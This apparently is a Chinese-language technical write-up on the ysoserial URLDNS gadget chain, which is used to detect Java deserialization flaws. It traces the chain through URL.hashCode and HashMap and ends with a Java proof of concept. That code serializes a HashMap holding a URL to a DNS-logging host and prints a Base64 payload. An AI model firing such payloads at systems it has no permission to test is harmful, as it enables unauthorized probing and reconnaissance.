URLDNS
是 ysoserial 中利用链的一个名字,通常用于检测是否存在 Java 反序列化漏洞。该利用链具有如下特点:
- 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
- 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞
- URLDNS 利用链,只能发起 DNS 请求,并不能进行其他利用
# URL.getHostAddress
这里的 getByName
相当于 nslookup
看一下构造函数写个 demo
查看一下哪里调用了这个函数
# URLStreamHandler.getHostAddress
找一下哪一个调用了这个函数
# URLStreamHandler.hashcode
但是这里是 protected
,找个 public
方法
# URL.hashcode
并且在构造函数中有 handler
构造
那么只需要设置一下入口为 hashmap即可
# poc
import java.io.*; | |
import java.net.URL; | |
import java.util.Base64; | |
import java.util.HashMap; | |
import static marshalsec.gadgets.JDKUtil.makeMap; | |
public class demo { | |
public static void main(String[] args) throws Exception { | |
URL url = new URL("http://jdu8ej.ceye.io"); | |
HashMap map = makeMap(url,123); | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
ObjectOutputStream oos = new ObjectOutputStream(baos); | |
oos.writeObject(map); | |
oos.close(); | |
String payload = new String(Base64.getEncoder().encode(baos.toByteArray())); | |
System.out.println(payload); | |
} | |
} |